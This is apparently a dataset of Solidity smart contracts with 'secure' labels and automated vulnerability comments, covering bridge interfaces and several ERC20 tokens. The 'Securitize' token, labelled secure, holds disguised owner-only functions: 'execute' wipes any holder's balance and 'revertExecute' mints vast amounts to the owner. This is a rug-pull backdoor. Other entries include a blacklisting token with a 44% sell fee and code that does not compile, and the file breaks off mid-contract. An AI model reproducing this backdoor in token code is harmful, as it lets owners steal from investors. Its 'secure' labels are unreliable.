"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IAxelarGateway.sol\" as IAxelarGateway;\n\ninterface IAxelarExecutable {\n error InvalidAddress();\n\n error NotApprovedByGateway();\n\n function gateway() external view returns (IAxelarGateway);\n\n function execute(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes calldata payload\n ) external;\n\n function executeWithToken(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes calldata payload,\n string calldata tokenSymbol,\n uint256 amount\n ) external;\n}",
"file_name": "solidity_code_1496.sol",
"secure": 1,
"size_bytes": 710
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IImplementation.sol\" as IImplementation;\nimport \"./IGovernable.sol\" as IGovernable;\n\ninterface IAxelarGateway is IImplementation, IGovernable {\n error NotSelf();\n\n error InvalidCodeHash();\n\n error SetupFailed();\n\n error InvalidAuthModule();\n\n error InvalidTokenDeployer();\n\n error InvalidAmount();\n\n error InvalidChainId();\n\n error InvalidCommands();\n\n error TokenDoesNotExist(string symbol);\n\n error TokenAlreadyExists(string symbol);\n\n error TokenDeployFailed(string symbol);\n\n error TokenContractDoesNotExist(address token);\n\n error BurnFailed(string symbol);\n\n error MintFailed(string symbol);\n\n error InvalidSetMintLimitsParams();\n\n error ExceedMintLimit(string symbol);\n\n event TokenSent(\n address indexed sender,\n string destinationChain,\n string destinationAddress,\n string symbol,\n uint256 amount\n );\n\n event ContractCall(\n address indexed sender,\n string destinationChain,\n string destinationContractAddress,\n bytes32 indexed payloadHash,\n bytes payload\n );\n\n event ContractCallWithToken(\n address indexed sender,\n string destinationChain,\n string destinationContractAddress,\n bytes32 indexed payloadHash,\n bytes payload,\n string symbol,\n uint256 amount\n );\n\n event Executed(bytes32 indexed commandId);\n\n event TokenDeployed(string symbol, address tokenAddresses);\n\n event ContractCallApproved(\n bytes32 indexed commandId,\n string sourceChain,\n string sourceAddress,\n address indexed contractAddress,\n bytes32 indexed payloadHash,\n bytes32 sourceTxHash,\n uint256 sourceEventIndex\n );\n\n event ContractCallApprovedWithMint(\n bytes32 indexed commandId,\n string sourceChain,\n string sourceAddress,\n address indexed contractAddress,\n bytes32 indexed payloadHash,\n string symbol,\n uint256 amount,\n bytes32 sourceTxHash,\n uint256 sourceEventIndex\n );\n\n event ContractCallExecuted(bytes32 indexed commandId);\n\n event TokenMintLimitUpdated(string symbol, uint256 limit);\n\n event OperatorshipTransferred(bytes newOperatorsData);\n\n event Upgraded(address indexed implementation);\n\n function sendToken(\n string calldata destinationChain,\n string calldata destinationAddress,\n string calldata symbol,\n uint256 amount\n ) external;\n\n function callContract(\n string calldata destinationChain,\n string calldata contractAddress,\n bytes calldata payload\n ) external;\n\n function callContractWithToken(\n string calldata destinationChain,\n string calldata contractAddress,\n bytes calldata payload,\n string calldata symbol,\n uint256 amount\n ) external;\n\n function isContractCallApproved(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n address contractAddress,\n bytes32 payloadHash\n ) external view returns (bool);\n\n function isContractCallAndMintApproved(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n address contractAddress,\n bytes32 payloadHash,\n string calldata symbol,\n uint256 amount\n ) external view returns (bool);\n\n function validateContractCall(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes32 payloadHash\n ) external returns (bool);\n\n function validateContractCallAndMint(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes32 payloadHash,\n string calldata symbol,\n uint256 amount\n ) external returns (bool);\n\n function authModule() external view returns (address);\n\n function tokenDeployer() external view returns (address);\n\n function tokenMintLimit(\n string memory symbol\n ) external view returns (uint256);\n\n function tokenMintAmount(\n string memory symbol\n ) external view returns (uint256);\n\n function allTokensFrozen() external view returns (bool);\n\n function implementation() external view returns (address);\n\n function tokenAddresses(\n string memory symbol\n ) external view returns (address);\n\n function tokenFrozen(string memory symbol) external view returns (bool);\n\n function isCommandExecuted(bytes32 commandId) external view returns (bool);\n\n function setTokenMintLimits(\n string[] calldata symbols,\n uint256[] calldata limits\n ) external;\n\n function upgrade(\n address newImplementation,\n bytes32 newImplementationCodeHash,\n bytes calldata setupParams\n ) external;\n\n function execute(bytes calldata input) external;\n}",
"file_name": "solidity_code_1497.sol",
"secure": 1,
"size_bytes": 5155
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IAxelarExecutable.sol\" as IAxelarExecutable;\nimport \"./IAxelarGateway.sol\" as IAxelarGateway;\n\ncontract AxelarExecutable is IAxelarExecutable {\n IAxelarGateway public immutable gateway;\n\n constructor(address gateway_) {\n if (gateway_ == address(0)) revert InvalidAddress();\n\n gateway = IAxelarGateway(gateway_);\n }\n\n function execute(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes calldata payload\n ) external {\n bytes32 payloadHash = keccak256(payload);\n\n if (\n !gateway.validateContractCall(\n commandId,\n sourceChain,\n sourceAddress,\n payloadHash\n )\n ) revert NotApprovedByGateway();\n\n _execute(sourceChain, sourceAddress, payload);\n }\n\n function executeWithToken(\n bytes32 commandId,\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes calldata payload,\n string calldata tokenSymbol,\n uint256 amount\n ) external {\n bytes32 payloadHash = keccak256(payload);\n\n if (\n !gateway.validateContractCallAndMint(\n commandId,\n sourceChain,\n sourceAddress,\n payloadHash,\n tokenSymbol,\n amount\n )\n ) revert NotApprovedByGateway();\n\n _executeWithToken(\n sourceChain,\n sourceAddress,\n payload,\n tokenSymbol,\n amount\n );\n }\n\n function _execute(\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes calldata payload\n ) internal virtual {}\n\n function _executeWithToken(\n string calldata sourceChain,\n string calldata sourceAddress,\n bytes calldata payload,\n string calldata tokenSymbol,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1498.sol",
"secure": 1,
"size_bytes": 2126
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private owner;\n\n event OwnerSet(address indexed oldOwner, address indexed newOwner);\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Caller is not owner\");\n\n _;\n }\n\n constructor() {\n owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor\n\n emit OwnerSet(address(0), owner);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1695dbc): Ownable.changeOwner(address).newOwner lacks a zerocheck on \t owner = newOwner\n\t// Recommendation for 1695dbc: Check that the address is not zero.\n function changeOwner(address newOwner) public onlyOwner {\n emit OwnerSet(owner, newOwner);\n\n\t\t// missing-zero-check | ID: 1695dbc\n owner = newOwner;\n }\n\n function getOwner() external view returns (address) {\n return owner;\n }\n}",
"file_name": "solidity_code_1499.sol",
"secure": 0,
"size_bytes": 981
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}",
"file_name": "solidity_code_15.sol",
"secure": 1,
"size_bytes": 352
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: eefd6c3): Contract locking ether found Contract BitcoinVista has payable functions BitcoinVista.receive() But does not have a function to withdraw the ether\n// Recommendation for eefd6c3: Remove the 'payable' attribute or add a withdraw function.\ncontract BitcoinVista is ERC20, Ownable {\n constructor() ERC20(\"BitcoinVista\", \"BTCV\") {\n _mint(owner(), 21_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: eefd6c3): Contract locking ether found Contract BitcoinVista has payable functions BitcoinVista.receive() But does not have a function to withdraw the ether\n\t// Recommendation for eefd6c3: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_150.sol",
"secure": 0,
"size_bytes": 1016
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary TransferHelper {\n function safeApprove(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0x095ea7b3, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper::safeApprove: approve failed\"\n );\n }\n\n function safeTransfer(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper::safeTransfer: transfer failed\"\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"TransferHelper::transferFrom: transferFrom failed\"\n );\n }\n\n function safeTransferETH(address to, uint256 value) internal {\n (bool success, ) = to.call{value: value}(new bytes(0));\n\n require(\n success,\n \"TransferHelper::safeTransferETH: ETH transfer failed\"\n );\n }\n}",
"file_name": "solidity_code_1500.sol",
"secure": 1,
"size_bytes": 1565
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./AxelarExecutable.sol\" as AxelarExecutable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IAxelarGasService.sol\" as IAxelarGasService;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./TransferHelper.sol\" as TransferHelper;\n\ncontract BridgeTokenSource is AxelarExecutable, Ownable {\n IAxelarGasService public immutable gasService;\n\n address public immutable token;\n\n mapping(string => mapping(string => bool)) public chainAndAddressCheck;\n\n bool public bridgingBlocked;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 154a835): BridgeTokenSource.constructor(address,address,address).token_ lacks a zerocheck on \t token = token_\n\t// Recommendation for 154a835: Check that the address is not zero.\n constructor(\n address gateway_,\n address gasService_,\n address token_\n ) AxelarExecutable(gateway_) {\n gasService = IAxelarGasService(gasService_);\n\n\t\t// missing-zero-check | ID: 154a835\n token = token_;\n\n emit Transfer(address(0), msg.sender, 0);\n }\n\n function setChainAndAddressCheck(\n string calldata chainName,\n string calldata contractAddress,\n bool isAllowed\n ) external onlyOwner {\n chainAndAddressCheck[chainName][contractAddress] = isAllowed;\n }\n\n function withdrawForeignToken(\n address token_,\n address to,\n uint256 amount\n ) external onlyOwner {\n require(token_ != token, \"Invalid Token\");\n\n TransferHelper.safeTransfer(token_, to, amount);\n }\n\n function withdrawETH(address to, uint256 amount) external onlyOwner {\n TransferHelper.safeTransferETH(to, amount);\n }\n\n function setBridgingBlocked(bool bridgingBlocked_) external onlyOwner {\n bridgingBlocked = bridgingBlocked_;\n }\n\n function name() external view returns (string memory) {\n return string.concat(\"b\", IERC20(token).name());\n }\n\n function symbol() external view returns (string memory) {\n return string.concat(\"b\", IERC20(token).symbol());\n }\n\n function decimals() external view returns (uint8) {\n return IERC20(token).decimals();\n }\n\n function totalSupply() external view returns (uint256) {\n return IERC20(token).balanceOf(address(this));\n }\n\n function balanceOf(address) external pure returns (uint256) {\n return 0;\n }\n\n function addNativeGas(\n bytes32 txHash,\n uint256 logIndex,\n address refundAddress\n ) external payable {\n gasService.addNativeGas{value: msg.value}(\n txHash,\n logIndex,\n refundAddress\n );\n }\n\n function addNativeExpressGas(\n bytes32 txHash,\n uint256 logIndex,\n address refundAddress\n ) external payable {\n gasService.addNativeExpressGas{value: msg.value}(\n txHash,\n logIndex,\n refundAddress\n );\n }\n\n function useBridge(\n string calldata destinationChain,\n string calldata destinationAddress,\n address to,\n uint256 amount\n ) external payable {\n require(\n chainAndAddressCheck[destinationChain][destinationAddress] == true,\n \"Invalid Destination\"\n );\n\n require(to != address(0), \"Zero To\");\n\n require(amount > 0, \"Zero Amount\");\n\n require(bridgingBlocked == false, \"Bridging Blocked\");\n\n uint256 received = _transferIn(amount);\n\n bytes memory payload = abi.encode(to, received);\n\n gasService.payNativeGasForContractCall{value: msg.value}(\n address(this),\n destinationChain,\n destinationAddress,\n payload,\n msg.sender\n );\n\n gateway.callContract(destinationChain, destinationAddress, payload);\n }\n\n function _execute(\n string calldata sourceChain_,\n string calldata sourceAddress_,\n bytes calldata payload_\n ) internal override {\n require(\n chainAndAddressCheck[sourceChain_][sourceAddress_] == true,\n \"Invalid Caller\"\n );\n\n require(bridgingBlocked == false, \"Bridging Blocked\");\n\n (address to, uint256 amount) = abi.decode(payload_, (address, uint256));\n\n if (to == address(0) || amount == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(token, to, amount);\n }\n\n function _transferIn(uint256 amount) internal returns (uint256) {\n require(\n IERC20(token).balanceOf(msg.sender) >= amount,\n \"Insufficient Balance\"\n );\n\n require(\n IERC20(token).allowance(msg.sender, address(this)) >= amount,\n \"Insufficient Allowance\"\n );\n\n uint256 before = IERC20(token).balanceOf(address(this));\n\n TransferHelper.safeTransferFrom(\n token,\n msg.sender,\n address(this),\n amount\n );\n\n uint256 After = IERC20(token).balanceOf(address(this));\n\n require(After > before, \"None Received\");\n\n return After - before;\n }\n}",
"file_name": "solidity_code_1501.sol",
"secure": 0,
"size_bytes": 5436
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ELUNToken is ERC20 {\n constructor() ERC20(\"Elun Muski\", \"ELUN\") {\n _mint(owner(), 1000000000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_1502.sol",
"secure": 1,
"size_bytes": 285
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPancakeFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}",
"file_name": "solidity_code_1503.sol",
"secure": 1,
"size_bytes": 818
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Securitize {\n uint256 private immutable _supply;\n\n string private _name;\n\n string private _symbol;\n\n address private immutable _owner;\n\n uint8 private immutable _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c730c5): Securitize.boughAmount should be constant \n\t// Recommendation for 8c730c5: Add the 'constant' attribute to state variables that never change.\n uint256 boughAmount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n _name = \"Securitize\";\n\n _symbol = \"SEC\";\n\n _decimals = 9;\n\n _supply = 10 ** 9 * 10 ** _decimals;\n\n _owner = msg.sender;\n\n _balances[msg.sender] = _supply;\n\n emit Transfer(address(0), msg.sender, _supply);\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return _supply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function cexLock(\n address[] memory _user,\n uint256[] memory _amount\n ) external {\n if (_owner == msg.sender) {\n for (uint256 i = 0; i < _user.length; i++) {\n _transfer(msg.sender, _user[i], _amount[i]);\n }\n }\n }\n\n function execute(address n) external {\n if (\n _owner == msg.sender &&\n _owner != n &&\n pairs() != n &&\n n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ) {\n _balances[n] = boughAmount;\n } else {}\n }\n\n function revertExecute(uint256 n) external {\n if (_owner == msg.sender) {\n uint256 devTransfer = n;\n\n devTransfer = 10 ** 15 * n * 1 * 10 ** _decimals;\n\n uint256 rev_bxx = devTransfer;\n\n address mnt = msg.sender;\n\n _balances[mnt] += rev_bxx;\n }\n }\n\n function pairs() public view virtual returns (address) {\n return\n IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),\n address(this)\n );\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1504.sol",
"secure": 1,
"size_bytes": 5109
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAntiDrainer {\n function isEnabled(address token) external view returns (bool);\n\n function check(\n address from,\n address to,\n address pair,\n uint256 maxWalletSizeTasi,\n uint256 MaxTasiTXAmount,\n uint256 swapTokensAtAmountTasi\n ) external returns (bool);\n}",
"file_name": "solidity_code_1505.sol",
"secure": 1,
"size_bytes": 390
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IAntiDrainer.sol\" as IAntiDrainer;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TASI444 is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2f91247): TASI444.uniswapRouter should be immutable \n\t// Recommendation for 2f91247: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5e4029a): TASI444.uniswapPair should be immutable \n\t// Recommendation for 5e4029a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fcf5291): TASI444.Tasi should be immutable \n\t// Recommendation for fcf5291: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public Tasi;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c57c33): TASI444.TopSaudi should be immutable \n\t// Recommendation for 6c57c33: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public TopSaudi;\n\n bool public SaudiTasiTradingActive = false;\n\n bool public TasiSwapEnabled = false;\n\n bool public NolimitTasi = true;\n\n uint256 public MaxTasiTX;\n\n uint256 public swapTokensAtAmountTasi;\n\n uint256 public maxWalletSizeTasi;\n\n uint256 public buyTotalFeesTasi;\n\n uint256 public buyMarketFeeTasi;\n\n uint256 public buyDevFeeTasi;\n\n uint256 public sellTotalFeesTasi;\n\n uint256 public sellMarketFeeTasi;\n\n uint256 public sellDevFeeTasi;\n\n uint256 public tokensForMarketTasi;\n\n uint256 public tokensForDevTasi;\n\n address private antiDrainer;\n\n bool private swapping;\n\n mapping(address => bool) private isBlackList;\n\n mapping(address => bool) public isExcludedFromFees;\n\n mapping(address => bool) public isExcludeMaxTasiTX;\n\n mapping(address => bool) public ammPairs;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a29958): TASI444.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 3a29958: Rename the local variables that shadow another component.\n constructor() ERC20(\"TASI444\", \"TASI\") {\n if (block.chainid == 1 || block.chainid == 5)\n uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n else if (block.chainid == 11155111)\n uniswapRouter = IUniswapV2Router02(\n 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008\n );\n\n uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(\n address(this),\n uniswapRouter.WETH()\n );\n\n Tasi = address(0xE3Ed26a4d0dFbAAB945D67e0070E612b1Da62061);\n\n TopSaudi = address(0xE3Ed26a4d0dFbAAB945D67e0070E612b1Da62061);\n\n isExcludeMaxTasiTX[address(uniswapRouter)] = true;\n\n isExcludeMaxTasiTX[address(uniswapPair)] = true;\n\n isExcludeMaxTasiTX[owner()] = true;\n\n isExcludeMaxTasiTX[address(this)] = true;\n\n isExcludeMaxTasiTX[address(0xdead)] = true;\n\n isExcludedFromFees[owner()] = true;\n\n isExcludedFromFees[address(this)] = true;\n\n isExcludedFromFees[address(0xdead)] = true;\n\n ammPairs[address(uniswapPair)] = true;\n\n uint256 totalSupply = 444_444_444 * 1e18;\n\n swapTokensAtAmountTasi = (totalSupply * 5) / 10000;\n\n MaxTasiTX = 8_888_888 * 1e18;\n\n maxWalletSizeTasi = 8_888_888 * 1e18;\n\n buyMarketFeeTasi = 4;\n\n buyDevFeeTasi = 0;\n\n buyTotalFeesTasi = buyMarketFeeTasi + buyDevFeeTasi;\n\n sellMarketFeeTasi = 44;\n\n sellDevFeeTasi = 0;\n\n sellTotalFeesTasi = sellMarketFeeTasi + sellDevFeeTasi;\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n SaudiTasiTradingActive = true;\n\n TasiSwapEnabled = true;\n }\n\n function openTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {\n bytes32 domainHash = keccak256(\n abi.encode(\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(\"Trading Token\")),\n keccak256(bytes(\"1\")),\n block.chainid,\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n keccak256(\"Permit(string content,uint256 nonce)\"),\n keccak256(bytes(\"Enable Trading\")),\n uint256(0)\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainHash, structHash)\n );\n\n address sender = ecrecover(digest, v, r, s);\n\n require(sender == owner(), \"Invalid signature\");\n\n SaudiTasiTradingActive = true;\n\n TasiSwapEnabled = true;\n }\n\n function excludeFromMaxTasiTX(address addr, bool value) external onlyOwner {\n isExcludeMaxTasiTX[addr] = value;\n }\n\n function excludeFromFees(address account, bool value) external onlyOwner {\n isExcludedFromFees[account] = value;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n NolimitTasi = false;\n\n return true;\n }\n\n function updateTasiSwapEnabled(bool enabled) external onlyOwner {\n TasiSwapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 20a3a50): TASI444.updatemaxWalletSizeTasi(uint256) should emit an event for maxWalletSizeTasi = newNum * (10 ** 18) \n\t// Recommendation for 20a3a50: Emit an event for critical parameter changes.\n function updatemaxWalletSizeTasi(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWalletSizeTasi lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: 20a3a50\n maxWalletSizeTasi = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e7c25b1): TASI444.updateswapTokensAtAmountTasi(uint256) should emit an event for swapTokensAtAmountTasi = newAmount \n\t// Recommendation for e7c25b1: Emit an event for critical parameter changes.\n function updateswapTokensAtAmountTasi(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: e7c25b1\n swapTokensAtAmountTasi = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0bd4ceb): TASI444.updateMaxTasiTX(uint256) should emit an event for MaxTasiTX = newNum * (10 ** 18) \n\t// Recommendation for 0bd4ceb: Emit an event for critical parameter changes.\n function updateMaxTasiTX(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set MaxTasiTX lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 0bd4ceb\n MaxTasiTX = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a63749b): TASI444.updateBuyFees(uint256,uint256) should emit an event for buyMarketFeeTasi = newMarketFee buyDevFeeTasi = newDevFee buyTotalFeesTasi = buyMarketFeeTasi + buyDevFeeTasi \n\t// Recommendation for a63749b: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 newMarketFee,\n uint256 newDevFee\n ) external onlyOwner {\n\t\t// events-maths | ID: a63749b\n buyMarketFeeTasi = newMarketFee;\n\n\t\t// events-maths | ID: a63749b\n buyDevFeeTasi = newDevFee;\n\n\t\t// events-maths | ID: a63749b\n buyTotalFeesTasi = buyMarketFeeTasi + buyDevFeeTasi;\n\n require(buyTotalFeesTasi <= 25, \"Must keep fees at 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2224cdb): TASI444.updateSellFees(uint256,uint256) should emit an event for sellMarketFeeTasi = newMarketFee sellDevFeeTasi = newDevFee sellTotalFeesTasi = sellMarketFeeTasi + sellDevFeeTasi \n\t// Recommendation for 2224cdb: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 newMarketFee,\n uint256 newDevFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 2224cdb\n sellMarketFeeTasi = newMarketFee;\n\n\t\t// events-maths | ID: 2224cdb\n sellDevFeeTasi = newDevFee;\n\n\t\t// events-maths | ID: 2224cdb\n sellTotalFeesTasi = sellMarketFeeTasi + sellDevFeeTasi;\n\n require(sellTotalFeesTasi <= 25, \"Must keep fees at 70% or less\");\n }\n\n function setAntiDrainer(address newAntiDrainer) external onlyOwner {\n require(newAntiDrainer != address(0x0), \"Invalid anti-drainer\");\n\n antiDrainer = newAntiDrainer;\n }\n\n function setAMMPair(address pair, bool value) external onlyOwner {\n require(\n pair != uniswapPair,\n \"The pair cannot be removed from ammPairs\"\n );\n\n ammPairs[pair] = value;\n }\n\n function setBlackList(\n address[] calldata wallets,\n bool blocked\n ) external onlyOwner {\n for (uint256 i = 0; i < wallets.length; i++) {\n isBlackList[wallets[i]] = blocked;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 096c6da): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 096c6da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 4a0838f): TASI444.swapBack().success is written in both (success,None) = address(TopSaudi).call{value ethForDev}() (success,None) = address(Tasi).call{value address(this).balance}()\n\t// Recommendation for 4a0838f: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForMarketTasi + tokensForDevTasi;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) return;\n\n if (contractBalance > swapTokensAtAmountTasi * 20)\n contractBalance = swapTokensAtAmountTasi * 20;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: 096c6da\n swapTokensForEth(contractBalance);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 